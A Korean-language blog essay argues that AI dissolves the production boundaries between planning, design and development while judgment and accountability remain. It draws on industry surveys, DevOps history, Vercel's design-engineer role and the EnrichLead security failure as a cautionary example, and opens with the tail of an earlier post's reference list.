- [How AI Impacts Skill Formation (Shen & Tamkin, 2026)](https://arxiv.org/abs/2601.20245) (AI는 숙련 형성에 어떤 영향을 주는가)
- [AI Copilot Code Quality: 2025 Research (GitClear)](https://www.gitclear.com/ai_assistant_code_quality_2025_research) (AI 코파일럿이 만든 코드의 품질: 2025 연구)
- [2025 Stack Overflow Developer Survey: AI](https://survey.stackoverflow.co/2025/ai/) (2025 스택 오버플로우 개발자 설문: AI 부문)
- [Satya Nadella: up to 30% of Microsoft code is written by AI (CNBC, 2025)](https://www.cnbc.com/2025/04/29/satya-nadella-says-as-much-as-30percent-of-microsoft-code-is-written-by-ai.html) (사티아 나델라: Microsoft 코드의 최대 30%는 AI가 쓴다)
- [The Impact of Generative AI on Critical Thinking (Lee et al., Microsoft Research & CMU, CHI 2025)](https://dl.acm.org/doi/full/10.1145/3706598.3713778) (생성형 AI가 비판적 사고에 미치는 영향)
- Harry Braverman, [Labor and Monopoly Capital: The Degradation of Work in the Twentieth Century](https://monthlyreview.org/9780853459408/) (1974) (노동과 독점자본: 20세기 노동의 퇴화)
- Elizabeth L. Bjork & Robert A. Bjork, ["Making Things Hard on Yourself, but in a Good Way: Creating Desirable Difficulties to Enhance Learning"](https://bjorklab.psych.ucla.edu/wp-content/uploads/sites/13/2016/04/EBjork_RBjork_2011.pdf) (Psychology and the Real World, 2011) (스스로를 힘들게, 그러나 좋은 방향으로: 학습을 강화하는 바람직한 어려움 만들기)

---

Source: https://yceffort.kr/2026/06/when-job-titles-blur.md
Title: AI가 기획·개발·디자인의 경계를 지운다면, 무엇이 남는가
Description: 직군의 경계가 무너진다는 말은 절반만 맞다. 무너지는 건 생산이고, 판단과 책임은 오히려 남는다.
Date: 2026-06-12
Tags: ai, essay, software-engineering, future-of-work, product-development
Series: AI 시대의 판단

## 개요

"프로그래밍의 장벽은 믿을 수 없을 만큼 낮아졌다. 이제 모두가 프로그래머다 — 컴퓨터에게 말만 하면 된다." 젠슨 황이 [2023년 Computex 기조연설](https://fortune.com/2023/05/30/nvidia-ceo-jensen-huang-everyone-programmer-with-ai-chipmaker-taipei-computex/)에서 한 말이다. 샘 올트먼은 [Alexis Ohanian과의 인터뷰](https://fortune.com/2024/02/04/sam-altman-one-person-unicorn-silicon-valley-founder-myth/)에서 테크 CEO 친구들과의 단톡방에 "1인 십억 달러 회사가 언제 처음 나올지"를 두고 내기가 걸려 있다고 했다. AI 없이는 상상도 못 했을 일이, 이제는 일어날 일이 됐다는 것이다.

무대 위의 과장으로만 들리지 않는 이유는, 실제 일터의 풍경이 그 방향으로 움직이고 있어서다. 기획자가 에이전트를 시켜 동작하는 프로토타입을 하루 만에 만든다. 디자이너가 직접 컴포넌트를 짜서 PR을 올린다. 개발자가 시안을 뽑고 카피를 쓴다. 며칠 전까지 "그건 네 일이 아니"라고 선을 긋던 경계가 슬그머니 흐려진다. 통계도 같은 방향이다. Figma가 2025년에 제품을 만드는 사람 1,199명을 조사한 [리포트](https://www.figma.com/blog/2025-shifting-roles-report/)에서, 64%가 자기 일이 두 개 이상의 직군에 걸쳐 있다고 답했고, 3분의 1 이상은 세 개 이상이라고 답했다. 한 해 동안 수행하는 업무의 가짓수는 1년 새 17.5% 늘었다.

담론은 한발 더 나가 있다. ChatPRD를 만든 Claire Vo는 [Product Management Is Dead](https://www.chatprd.ai/blog/product-management-is-dead)에서 기획·디자인·개발의 삼각 편대가 "여러 영역을 다루는 제너럴리스트 팀"으로 대체되는 중이라고 썼고, Dan Shipper는 [지식 경제의 다음은 배분 경제](https://every.to/chain-of-thought/the-knowledge-economy-is-over-welcome-to-the-allocation-economy)라며 일하는 사람의 본질이 "직접 만드는 사람"에서 AI에게 일을 맡기고 결과를 거두는 "모델 매니저"로 바뀐다고 주장했다. 얼마나 아느냐가 아니라 얼마나 잘 맡기느냐로 평가받는 시대가 온다는 것이다.

그래서 어디서나 같은 결론이 들린다. 직군의 경계는 낡았다. 지워야 한다. 모두가 만드는 사람(builder)이 된다.

이 말은 절반만 맞다. 그리고 틀린 절반이 더 중요하다.

[지난 글](https://yceffort.kr/2026/06/do-you-need-to-read-code)에서 나는 코드를 읽는 일이 사라지는 게 아니라 "무엇을 검증해야 하는지 아는 일"로 이동한다고 썼다. 직군 경계도 같은 구조다. 무너지는 한 가지와 남는 한 가지가 있고, 둘을 구분하지 못하면 "경계를 지우자"는 좋은 슬로건이 위험한 조직 설계로 바뀐다. 질문을 하나로 압축하면 이렇다.

**누구나 무엇이든 만들 수 있게 됐다면, 기획·개발·디자인의 경계는 지워도 되는 걸까?**

먼저 "지워야 한다"는 입장을 최대한 강하게 세운다. 약하게 세워놓고 두들기면 의미가 없다.

## 찬성: 경계는 도구가 만든 칸막이였다

**첫째, 직군 경계의 상당 부분은 도구 숙련의 부산물이었다.** 코드를 칠 줄 알아야 개발자였고, 피그마를 다룰 줄 알아야 디자이너였고, 스펙 문서를 쓸 줄 알아야 기획자였다. 그 "만들 줄 아느냐"가 진입장벽이었고, 장벽이 곧 경계였다. 그런데 이 장벽은 본질이 아니라 도구의 한계였다. 그림을 그리려면 손이 필요했듯, 화면을 만들려면 코드가 필요했을 뿐이다. AI가 그 손을 대신하면 장벽이 사라지고, 장벽 위에 세워진 경계도 같이 무너진다. 젠슨 황의 말이 정확히 이 뜻이다. 컴퓨터에게 말만 하면 되는 시대에, "할 줄 아느냐"로 사람을 가르던 선은 의미를 잃는다. 그리고 위에서 본 Figma의 숫자들 — 64%가 두 개 이상의 직군에 걸쳐 일한다 — 은 이게 예측이 아니라 진행형이라는 증거다.

**둘째, 경계의 진짜 비용은 핸드오프였다.** 제품이 느린 이유의 절반은 직군 사이의 번역과 대기였다. 기획이 문서를 넘기고, 디자이너가 시안을 그리고, 개발이 받아 구현하고, 다시 QA로 넘어간다. 단계마다 의도가 새고, 줄을 서서 기다린다. 핸드오프 — 직군 사이에서 산출물을 넘기는 인수인계 — 가 한 번 일어날 때마다 머릿속에 있던 의도는 문서로, 문서는 시안으로, 시안은 코드로 손실 압축된다. 한 사람이 의도를 끝까지 가져가면 이 손실이 통째로 사라진다. AI는 그걸 가능하게 한다. 경계를 지우는 건 일을 대충 하자는 게 아니라, 번역 비용을 0으로 만들자는 공학적 선택이다.

**셋째, 통합은 새 현상이 아니라 반복된 패턴이다.** 한때 프론트엔드와 백엔드는 다른 직군이었지만, 2010년 전후로 풀스택이라는 말이 퍼지더니 주류가 됐다. 개발(Dev)과 운영(Ops)은 부서 벽으로 갈라져 있었지만, Amazon의 Werner Vogels는 이미 [2006년 ACM Queue 인터뷰](https://queue.acm.org/detail.cfm?id=1142065)에서 그 벽을 헐었다고 선언했다. "전통적인 모델은 개발과 운영을 가르는 벽 너머로 소프트웨어를 던져놓고 잊어버리는 것이다. Amazon은 아니다. 만든 사람이 직접 운영한다(You build it, you run it)." 그 후로 20년, 데브옵스가 이겼다는 데 이견이 있는 사람은 없다. 매번 "그 둘은 다른 직군"이라던 사람들이 있었고, 매번 통합한 쪽이 더 빠르고 더 좋은 제품을 만들었다. 직군 경계의 붕괴는 일탈이 아니라, 도구가 충분히 좋아질 때마다 반복되는 정상적인 수렴이다. AI는 그 수렴을 한 단계 더 밀 뿐이다.

**넷째, 작은 팀이 경계 있는 조직을 이긴다.** Linear는 기능 하나를 디자이너 한 명과 엔지니어 두 명, 세 명이 만든다. [전담 PM은 없고](https://www.lennysnewsletter.com/p/how-linear-builds-product) 기획 업무는 엔지니어와 디자이너에게 분산돼 있다. 그렇게 만든 제품이 업계에서 가장 완성도 높다는 평을 듣는다. AI로 무장하면 이 축소는 여기서 멈추지 않는다 — 서너 명이, 혹은 한 명이 예전 스무 명 몫의 제품을 만든다. 올트먼의 1인 유니콘 내기가 그 끝점이다. 경계는 애초에 커진 조직이 협업을 관리하려고 만든 장치였는데, AI가 그 규모 자체를 필요 없게 만든다. 경계가 사라지는 게 아니라, 경계가 필요했던 이유가 사라진다.

**다섯째, 판단조차 점점 도구가 된다.** 가장 흔한 반론을 미리 막아두자. "생산은 AI가 해도 판단은 사람 몫"이라는 방어선 말이다. 그런데 그 방어선도 밀리고 있다. 코드 리뷰는 이미 에이전트가 1차로 달고, 접근성 위반은 자동으로 잡히고, 디자인 시안에는 AI 비평이 붙고, 기획서의 빈틈도 AI가 짚는다. 직군의 알맹이가 판단이라면, 그 판단마저 도구화되는 중이다. Shipper의 배분 경제가 말하는 게 이 단계다. 사람의 일은 판단을 내리는 것에서 판단을 맡기는 것으로 한 칸 더 물러난다. 그러니 "판단은 남는다"는 위안은 시간이 갈수록 얇아진다.

여기까지가 찬성 측의 최선이다. 꽤 강하다. 특히 둘째와 다섯째는 정면으로 받기 어렵다. 그런데 이 논증 전체가 '경계'라는 한 단어에 서로 다른 두 가지를 욱여넣고 있다.

## 그러나: '경계'라는 말에 두 가지가 섞여 있다

**누가 만들 수 있는가**라는 경계와, **무엇이 맞는지 누가 판단하고 책임지는가**라는 경계. 이 둘은 같이 움직이지 않는다. 앞엣것은 무너지고, 뒤엣것은 남는다. 찬성 논증을 하나씩 다시 보자.

### 1. 만들 수 있다는 능력과 맞는지 아는 능력은 다르다

코드를 뽑는 일은 AI가 해도, 그 코드가 맞는지 — 안전한지, 나중에 고칠 수 있는지, 일어나면 안 되는 일이 안 일어나는지 — 를 아는 일은 사람에게 남는다. 코드에서 성립했던 이 구분이 직군에서도 똑같이 성립한다.

각 직군의 진짜 알맹이는 산출물을 만드는 손기술이 아니라, 그 산출물이 맞는지 가려내는 판단이었다. 디자인의 알맹이는 예쁜 시안을 그리는 손이 아니라, 이 화면이 실제 사용자 앞에서 작동하는지 — 엣지 상태에서 무너지지 않는지, 접근성이 깨지지 않는지 — 를 아는 눈이다. 기획의 알맹이는 문서를 쓰는 일이 아니라, 무엇을 만들어야 하고 무엇이 일어나면 안 되는지를 정하는 판단이다. 개발의 알맹이는 코드를 치는 손이 아니라, 그 시스템이 어디서 터질지 아는 감각이다.

찬성 측 첫째 논증("경계는 도구가 만든 칸막이")은 손기술 경계에는 맞지만 판단 경계에는 틀리다. 실제 사용 데이터도 이 구분을 지지한다. Anthropic이 Claude와의 대화 수백만 건을 익명화해 직업 단위로 분석한 [Economic Index](https://www.anthropic.com/news/the-anthropic-economic-index)에서, AI 사용의 57%는 사람의 작업을 거드는 증강이었고 43%가 통째로 맡기는 자동화였다. 그리고 업무의 75% 이상을 AI에 맡기는 직업은 약 4%에 불과했다. 직군이 통째로 대체되는 그림이 아니라, 직군 안의 생산 작업부터 잠식되고 판단 작업이 남는 그림이다.

흥미로운 건 채용 시장의 반응이다. 생산이 자동화되면 디자이너 수요가 줄어야 할 것 같은데, Figma가 채용 책임자들을 조사한 [2026년 리포트](https://www.figma.com/reports/design-hiring-study-2026/)에서는 47%가 디자이너 수요가 늘었다고 답했다(늘었거나 유지라는 답은 82%). 리포트가 인용한 디자인 전문 VC Designer Fund의 추정으로는, 포트폴리오 회사들의 디자인 채용 공고가 2025년 한 해 전년 대비 약 60% 늘었다. 디자인 도구를 파는 회사의 조사라는 점은 감안해야 한다. 다만 주목할 건 수요의 _내용_이다. 채용 담당자의 45% 이상이 시각적 완성도가 아니라 협업, 시스템 사고, 제품 전략 — 전부 판단 쪽 능력 — 을 찾는다고 답했다. 생산이 싸지니, 시장은 판단에 값을 더 쳐주기 시작했다.

### 2. 핸드오프는 비용이자 검증이었다

둘째 논증이 가장 그럴듯한데, 여기에 함정이 있다. 직군 사이의 경계는 마찰이지만 동시에 **상호 검증 지점**이었다. 기획이 넘긴 의도를 디자이너가 받으면서 "이건 사용자가 이해 못 한다"고 걸러내고, 디자이너의 시안을 개발이 받으면서 "이 상태는 구현하면 깨진다"고 걸러낸다. 핸드오프는 단순한 대기 줄이 아니라, 서로 다른 판단이 서로를 점검하는 관문이었다.

한 사람이 의도를 끝까지 가져가면 번역 비용은 사라진다. 그런데 그 검증도 같이 사라진다. 자기가 낸 기획을 자기가 디자인하고 자기가 구현하고 자기가 OK하는 구조는 — 지난 글에서 짚은, AI가 자기 코드에 맞춰 테스트를 쓰고 제 답으로 제 답을 채점하는 순환과 똑같다. 마찰이 사라진 자리에는 속도만 남는 게 아니라, 아무도 반대편에서 점검하지 않는 사각지대도 같이 남는다.

실제 협업 데이터는 경계가 지워지는 게 아니라 더 빽빽해지는 쪽을 가리킨다. Figma의 [디자이너·개발자 조사](https://www.figma.com/reports/designer-developer-trends/)에서 디자이너와 매일 협업한다는 개발자 비율은 2023년 16%에서 2025년 리포트에서는 32%로 두 배가 됐다. 직군이 섞일수록 서로의 판단을 더 자주 빌리게 되는 것이다. 경계를 지우는 게 아니라 경계를 더 자주 건너는 것 — 둘은 다르다.

### 3. 선례들은 책임을 지운 적이 없다

셋째·넷째 논증의 역사는 사실이다. 그런데 그 역사를 자세히 보면 찬성 측 주장과 정반대 방향을 가리킨다. Vogels의 "You build it, you run it"은 개발과 운영의 _경계_를 지운 말이지, _책임_을 지운 말이 아니다. 오히려 정반대다. 같은 인터뷰에서 Vogels는 이렇게 말한다. "개발자에게 운영 책임을 지운 것이 서비스 품질을 크게 끌어올렸다." 통합의 핵심은 만든 사람이 운영까지 _떠안는_ 것이었다. 벽을 허문 게 아니라, 벽 양쪽을 한 사람의 어깨에 올린 것이다.

풀스택도 같다. 프론트와 백을 다 하는 사람은 두 영역의 책임을 다 진다. Linear의 "PM 없음"도 들여다보면 그렇다. 기획 _직함_이 없을 뿐 기획 _판단_은 증발하지 않았다 — 프로젝트마다 리드가 있고, 그 리드가 무엇을 만들지에 대한 판단을 소유한다. 기획 업무는 분산된 게 아니라 판단할 수 있는 사람들에게 재배치된 것이다.

그러니 선례가 증명하는 건 "경계를 지워도 된다"가 아니라 "책임을 한 사람에게 몰아줄 수 있을 때만 경계를 지워도 된다"이다. "경계를 지우자"가 "각 판단을 책임지는 사람을 지우자"로 변질되면 정반대 일이 벌어진다. 누구나 모든 걸 만들지만 아무도 무엇이 맞는지 최종 판정하지 않는 상태. 게이트는 다 통과하는데 게이트 뒤에 응답할 사람이 없는, 책임의 공백이 조직 단위로 생긴다.

### 4. 판단의 도구화는 판단의 소유를 대체하지 않는다

다섯째 논증에 대한 답이다. AI가 판단을 _보조_하는 것과 판단을 _소유_하는 것은 다르다. AI는 접근성 위반 항목을 나열할 수 있다. 그러나 그 목록 중 무엇이 이 제품에서 실제로 중요한지, 무엇을 지금 포기하고 무엇을 막아야 하는지, 그리고 AI의 비평 자체가 맞는지 — 이걸 정하는 건 여전히 사람이다. 검증기를 만들면 검증기를 검증하는 일이 생기듯, 판단을 도구화하면 그 도구의 판단을 수용할지 판정하는 일이 생긴다. 한 칸 물러날 수는 있어도 사라지지는 않는다.

찬성 측이 인용한 배분 경제가 사실 이 점을 인정하고 있다. Shipper의 결론은 "판단이 필요 없어진다"가 아니라 "얼마나 잘 맡기느냐로 평가받는다"이다. 무엇을 맡기고 무엇을 직접 쥘지, 맡긴 결과가 쓸 만한지 — 배분이라는 말 자체가 판단의 다른 이름이다. 모델 매니저가 된다는 건 판단에서 해방되는 게 아니라, 판단만 남기고 나머지를 떼어내는 것이다.

### 5. 뽑을 수 있다는 것을 안다고 착각한다

그래서 진짜 위험은 조직 구조 이전에, 개인이 빠지는 착각이다. 디자이너의 산출물을 뽑을 수 있게 된 것을, 디자이너의 판단을 갖게 된 것으로 착각한다.

기획자가 에이전트로 화면을 만들었다고 디자인 감각이 생긴 게 아니다. 그는 자기가 본 적 없는 엣지 상태가 무너지는 걸 모르고, 접근성이 깨진 줄도 모른 채 "됐다"고 판정한다. Collinsworth가 고백했던 "자기가 올린 PR을 방어할 수 없었다"는 상태가, 직군을 건너 모든 산출물에서 재연되는 것이다. 생성은 공짜로 얻었지만, 안목은 공짜로 따라오지 않는다.

한 문장으로 압축하면 이렇다.

**경계를 넘게 해주는 능력(생산)과, 어느 경계는 넘으면 안 되는지 아는 능력(판단)은 다른 능력이다.**

## 경계는 사라지지 않고 다시 그어진다: 판단의 분업

그럼 반대 측의 승리인가. 그렇게 단순하지 않다. 방향은 찬성이 맞고, 형태는 반대가 맞다. 도구 단위로 그어졌던 경계 — 코드를 치는 사람, 시안을 그리는 사람, 문서를 쓰는 사람 — 는 실제로 무너진다. 그 자리에 판단 단위의 경계가 다시 그어진다. 보안 판단을 책임지는 사람, 사용자 경험 판단을 책임지는 사람, 무엇을 만들지 판단을 책임지는 사람.

왜 판단 단위인가. 문제가 직군의 주소를 따르지 않기 때문이다. 성능 문제가 코드 파일이 아니라 의존성 그래프에 살 듯, 이탈의 원인이 기능이 아니라 카피 한 줄에 있기도 하고, 디자인 문제의 뿌리가 시안이 아니라 데이터 모델에 있기도 하다. 산출물은 직군별로 나오지만 문제는 경계를 무시하고 산다. 문제가 어느 칸에 사는지 주소를 찾는 일 — 그게 깊이가 하는 일이고, 생산을 모두가 하게 된 조직이 분업해야 하는 건 정확히 이 주소 찾기다. 대략 다섯 가지로 정리된다.

**1. 판단의 명문화.** 자기 칸의 판단을 옆 칸 사람이 쓸 수 있는 형태로 바꾸는 일이다. 디자인 원칙, 접근성 체크리스트, "재시도 시 중복 결제가 나면 안 된다"는 목록. 전문가의 눈을 모두에게 줄 수는 없어도, 전문가가 보는 항목은 줄 수 있다.

**2. 호출 규약.** 어디까지는 혼자 가도 되고 어디서부터는 전문가를 불러야 하는지, 트리거를 미리 정한다. 결제 흐름을 바꾸면 부른다, 개인정보 필드를 추가하면 부른다, 같은 식이다.

**3. 선별적 전문가 리뷰.** 모든 산출물에 전문가를 태울 수는 없다. 위험이 큰 소수 — 돈이 흐르는 경로, 첫 사용자 경험, 데이터를 지우는 기능 — 에 전문가의 눈을 배치하고, 나머지는 명문화된 기준과 자동 검사에 맡긴다. 어디가 위험한지 분류하는 일 자체가 그 직군의 판단이다.

**4. 관문의 재설계.** 핸드오프를 없앤 팀일수록, 제 답으로 제 답을 채점하는 순환을 깰 두 번째 눈을 어디에 둘지 따로 정해야 한다. 자연히 생기던 관문이 사라졌으니 이제는 만들어야 생긴다. 아래 Vercel의 사례가 한 형태다 — 핸드오프는 없지만, 두 판단이 같은 산출물 위에서 만난다.

**5. 경계 직군.** 그리고 경계 자체가 직무가 된다. 두 칸의 판단을 모두 깊게 가진 사람 — 시장은 이미 여기에 이름을 붙이기 시작했다.

### 시장은 이미 다시 긋고 있다

디자인 엔지니어(design engineer)가 그 이름이다. Vercel은 [2024년 글](https://vercel.com/blog/design-engineering-at-vercel)에서 이 역할을 "미적 감각과 기술력을 함께 갖춰, 문제를 깊게 이해한 뒤 혼자서 디자인하고 만들고 배포까지 하는 사람"으로 정의했다. 주목할 건 그 다음 문장이다. "완성된 디자인을 넘기는(hand off) 대신, 디자이너가 시작점을 스케치하면 디자인 엔지니어가 피그마나 코드 위에서 함께 다듬어 최종 디자인을 만든다." 직군 구분이 없어진 게 아니다. 핸드오프가 사라진 자리에, 두 판단을 한 몸에 가진 새 직군이 생긴 것이다. 경계가 지워진 게 아니라 더 비싼 경계로 다시 그어졌다. 이 역할은 디자인 판단과 엔지니어링 판단을 _둘 다_ 요구하니까.

반대쪽 끝의 사례도 있다. 2025년 3월, 영업 리드 데이터를 다듬어주는 SaaS인 EnrichLead를 만든 자칭 비개발자 창업자가 "내 SaaS는 전부 Cursor로 만들었다, 손으로 쓴 코드는 0줄"이라며 "AI는 더 이상 조수가 아니라 빌더"라고 X에 자랑했다. [이틀 뒤 그의 트윗](https://pivot-to-ai.com/2025/03/18/guys-im-under-attack-ai-vibe-coding-in-the-wild/)은 이렇게 시작한다. "여러분, 저 공격받고 있어요." API 키 사용량이 한도까지 치솟고, 결제를 우회하는 사람들이 생기고, DB에는 아무 데이터나 꽂히고 있었다. API 키는 코드 안에 박혀 있었고 결제벽은 클라이언트에서 우회 가능했다 — 보안 판단이 있는 사람이라면 출시 전에 잡았을 것들이다. 그는 결국 서비스를 내리며 이렇게 썼다. "여러분 말이 맞았어요. 보안이 안 된 코드를 프로덕션에 올리는 게 아니었어요."

이 사건에서 곱씹을 건 조롱거리가 된 결말이 아니라 중간이다. 그는 경고를 못 받은 게 아니다. 자랑 글에 보안 경고 댓글이 줄줄이 달렸고, 그는 그걸 흘려보냈다. 판단이 없으면 경고도 소음이다. 무엇이 심각한 지적이고 무엇이 트집인지 가려낼 눈이 없으면, 정보가 도착해도 받을 수가 없다.

여기서 예상되는 반박이 있다. "모델이 더 좋아지면 보안도 AI가 챙겨줄 것 아닌가." 부분적으로 맞는 말이다. 반년 뒤의 모델은 API 키를 코드에 박지 말라고 더 강하게 경고할 것이고, 결제벽의 구멍도 더 잘 찾아낼 것이다. 그런데 이 반박은 경고의 _생산_과 경고의 _수용_을 섞고 있다. EnrichLead의 창업자에게 부족했던 건 경고가 아니다 — 사람들이 이미 줬다. 부족했던 건 그 경고를 수용할지, 무시할지, 얼마나 심각하게 받을지 판정하는 능력이었다. AI의 경고가 늘어날수록 이 판정의 부담은 오히려 커진다. 전부 따르면 아무것도 출시하지 못하고, 전부 무시하면 EnrichLead가 된다. 지난 글에서 종료와 수용의 문제라고 불렀던 그 자리가, 직군의 영역에서 그대로 다시 열리는 것이다.

시장의 대답은 두 방향에서 같다. 두 칸의 판단이 깊은 사람에게는 새 직군의 이름과 더 높은 값이 붙고, 판단 없는 생산은 며칠 만에 뚫린다. 경계는 지워지는 게 아니라, 도구 단위에서 판단 단위로 옮겨 그어지고 있다.

덧붙이면, 경계는 조직 안에서 지워져도 시장에서 다시 나타난다. 직군 없는 1인 회사도 판단까지 혼자 하지는 못한다. 법무 검토를 사고, 회계를 맡기고, 보안 감사를 의뢰한다. 사내에 두던 판단을 시장에서 구매하는 것뿐이다. 올트먼의 1인 유니콘이 정말 나온다 해도, 그 회사는 모든 판단을 혼자 하는 회사가 아니라 어떤 판단을 사야 하는지 아는 회사일 것이다. 그리고 무엇을 사야 하는지 아는 것 역시, 판단이다.

## 무엇을 목표로 해야 하나

그럼 일하는 사람은 어느 쪽에 서야 하나. 모든 걸 얕게 하는 평평한 제너럴리스트는 답이 아니라고 본다. 판단은 손기술처럼 빌려올 수 없기 때문이다. 디자인 판단은 사용자 앞에서 시안이 깨지는 걸 직접 겪어본 사람에게만 생기고, 장애가 어디서 터질지 아는 감각은 장애를 직접 추적해본 사람에게만 생긴다. 현실적인 도착지는 T자형이다. 깊은 한 칸 — 판단까지 책임질 수 있는 영역 — 을 세로획으로 갖고, 그 위에서 AI로 옆 칸들을 얕게 가로지르는 사람.

이 말의 기원은 생각보다 오래됐다. [1991년 영국 The Independent의 컴퓨팅 기사](https://wow.agiledata.io/wp-content/uploads/2022/10/David-Guest-1991-The-hunt-is-on-for-the-Renaissance-Man-of-computing.pdf)가 "컴퓨팅의 르네상스형 인간"을 찾는다며 정보 시스템과 경영을 함께 다루는 'T자형 인간(T-shaped People)'을 말했다. 35년 전 컴퓨팅 업계가 찾던 그 모양이, 생산이 공짜가 된 시대에 와서 오히려 더 정확해진 것이다.

세로획에는 가로획이 갖지 못한 성질이 하나 있다. 도구가 바뀌어도 살아남는다는 것이다. 가로획은 도구에 붙어 있다. 에이전트 사용법, 프롬프트 요령, 이번 분기의 워크플로우 — 도구가 바뀌면 같이 리셋된다. 세로획은 도구 위에 있지 않다. 사용자가 어디서 헤매는지 아는 눈, 시스템이 어디서 터지는지 아는 감각은, 피그마에서 코드로, 코드에서 에이전트로 도구가 갈아엎어져도 그대로 이식된다. 시간이 깎아 먹는 자산과 시간이 불려 주는 자산의 차이고, 깊이에 투자할 이유가 하나 더 늘어나는 지점이다.

문제는 T자가 저절로 자라지 않는다는 것이다. 가로획은 쉽다. AI가 매일 넓혀주고, 즉각 보상이 온다. 세로획은 느리다. 직접 부딪힌 시간만큼만 자란다. 그래서 가만히 두면 모두가 세로획 없는, 얕고 넓기만 한 일자형이 된다. 산출물은 다 뽑는데 무엇이 맞는지는 아무도 모르는 팀. 목표를 한 문장으로 준다면 이것이다.

**옆 칸은 AI로 얕게 넘나들되, 자기 한 칸은 판단까지 책임질 수 있을 만큼 깊게 파라.**

행동 규칙으로 분해하면 이렇다.

**1. 설명할 수 없는 산출물을 자기 이름으로 내보내지 않는다.** 지난 글에서 주니어에게 준 규칙과 같은 규칙이다. 코드에서 모든 산출물로 확장될 뿐이다. 화면을 내보내려면 "왜 이 흐름이고, 어떤 사용자가 어디서 걸려 넘어질 수 있는지"를 설명할 수 있어야 한다. 설명할 수 없다면 그건 내 산출물이 아니라, AI의 산출물에 내 이름을 빌려준 것이다.

**2. 옆 칸은 호출 기준과 함께 넘는다.** 옆 칸을 넘보는 것 자체는 좋은 일이고, 막을 수도 없다. 위험한 건 넘는 게 아니라 자기 깊이의 끝이 어딘지 모른 채 넘는 것이다. "여기서부터는 전문가를 부른다"는 자기 목록을 만들고 넘어라. 부르는 게 부끄러운 일이 아니라, 그 목록을 가졌다는 것 자체가 실력이다. EnrichLead의 창업자에게 없었던 게 정확히 이 목록이다.

**3. 깊은 칸은 판단이 쌓이는 곳에서 판다.** 산출물을 더 많이 만드는 건 이제 깊이가 아니다. 생산이 공짜인 시대에 깊이는 판단이 쌓이는 곳 — 리뷰, 장애 대응, 사용자 테스트, 운영 — 에서만 자란다. 가로획 훈련은 일이 알아서 시켜주니, 따로 설계해야 하는 건 세로획 훈련이다.

**4. 경계를 지웠으면 검증을 다시 설계한다.** 이건 조직의 몫이다. 한 사람이 끝까지 가는 팀이라면 내보내기 전에 다른 직군의 눈이 들어오는 지점을 프로세스로 박고, 호출 규약을 개인의 양심이 아니라 팀의 합의로 만든다. 속도는 쉽게 측정되고 사라진 검증은 측정되지 않으니, 가만히 두면 조직은 늘 검증을 지우는 쪽으로 굴러간다.

이제 막 시작하는 사람에게는 질문이 하나 더 남는다. 첫 칸을 어디에 파야 하나. 직군 경계가 흔들리는 시대에 어느 직군으로 출발하느냐는 질문은 그럴듯하지만, 답은 직군에 있지 않다. 판단이 가장 빨리 쌓이는 곳 — 즉 실패가 자주, 그리고 빨리 보이는 곳에 있다. 운영까지 직접 책임지는 작은 제품, 리뷰가 깐깐한 팀, 사용자 반응이 바로 꽂히는 자리. 어느 직군이냐보다 피드백 루프가 짧으냐가 중요하다. 세로획은 결국 내 판단이 틀렸음을 확인당한 횟수만큼 자라기 때문이다.

마지막으로 경고할 함정이 하나 있다. 단기적으로는 시장이 일자형을 보상한다는 것이다. 에이전트로 프로토타입을 쏟아내면 생산적으로 보이고, 직군을 넘나들면 현대적으로 보인다. 하지만 판단 없는 넓이는 첫 대형 사고에서 정체가 드러나고, 그때는 이미 몇 년이 지나 있다. EnrichLead의 창업자도 공격당하기 전까지는 누구보다 생산적으로 _보였다_.

## 마치며

처음 질문에 답하자. 누구나 무엇이든 만들 수 있게 됐다면, 기획·개발·디자인의 경계는 지워도 되는 걸까.

정직하게 양보부터 하면, 지워도 되는 영역이 실존한다. 작고, 초기 단계이고, 실패의 비용이 자기 안에 갇히는 일. 1인 창업의 첫 실험, 프로토타입, 내부 도구. 여기서 직군을 따지는 건 낡은 관료주의이고, 이 영역은 좁지 않으며 커지고 있다. 올트먼의 1인 유니콘도 결국 이 영역이 어디까지 커질 수 있는지에 대한 내기다.

하지만 경계가 있다. 결제가 붙는 순간, 남의 데이터를 받는 순간, 실패가 사용자에게 가닿는 순간 — 그 일은 영역 밖으로 나간다. EnrichLead의 창업자가 틀린 지점도 코드가 아니라 여기였다. 그는 자기가 아직 안전한 영역 안에 있다고 판단했고, 결제를 받기 시작한 순간 이미 밖이었다. 그리고 그 안팎을 가르는 것이, 또 판단이다.

그 바깥의 세계에서는 답이 갈린다. 산출물을 누가 만들 수 있느냐의 경계는 무너진다. 무너져야 한다. 만들 줄 모른다는 이유로 사람을 가르던 선은 사라지는 게 맞다. 하지만 무엇이 맞는지 누가 판단하고 책임지느냐의 경계는 남는다. 생산이 싸질수록 더 비싸진다. 지난 글이 "이해가 필요 없는 코드는 실존하지만, 그 경계선은 이해할 줄 아는 사람만 그을 수 있다"로 끝났는데, 같은 구조의 문장이 직군에서도 성립한다.

**무너져도 되는 경계인지 지켜야 할 경계인지, 그 선을 가르는 일은 깊이를 가진 사람만 할 수 있다.**

옆 칸은 얕게 넘나들어도 된다. 단, 자기 한 칸은 깊어야 한다.

## 참고 자료

- [코드를 읽거나 설명할 줄 몰라도, 스펙을 만족하고 버그를 고칠 수 있다면 상관없을까](https://yceffort.kr/2026/06/do-you-need-to-read-code) - 이 글의 1탄
- [Nvidia CEO: 'Everyone is a programmer' with A.I.](https://fortune.com/2023/05/30/nvidia-ceo-jensen-huang-everyone-programmer-with-ai-chipmaker-taipei-computex/) (엔비디아 CEO: AI와 함께라면 '누구나 프로그래머다') - Fortune
- [Sam Altman wants AI to create a one-person unicorn](https://fortune.com/2024/02/04/sam-altman-one-person-unicorn-silicon-valley-founder-myth/) (샘 올트먼은 AI로 1인 유니콘 기업이 나오길 바란다) - Fortune
- [The Knowledge Economy Is Over. Welcome to the Allocation Economy](https://every.to/chain-of-thought/the-knowledge-economy-is-over-welcome-to-the-allocation-economy) (지식 경제는 끝났다. 배분 경제에 온 것을 환영한다) - Dan Shipper
- [Product Management Is Dead](https://www.chatprd.ai/blog/product-management-is-dead) (프로덕트 매니지먼트는 죽었다) - Claire Vo
- [A Conversation with Werner Vogels](https://queue.acm.org/detail.cfm?id=1142065) (베르너 포겔스와의 대화) - ACM Queue (2006)
- [How Linear builds product](https://www.lennysnewsletter.com/p/how-linear-builds-product) (Linear는 어떻게 제품을 만드는가) - Lenny's Newsletter
- [Design Engineering at Vercel](https://vercel.com/blog/design-engineering-at-vercel) (Vercel의 디자인 엔지니어링) - Vercel
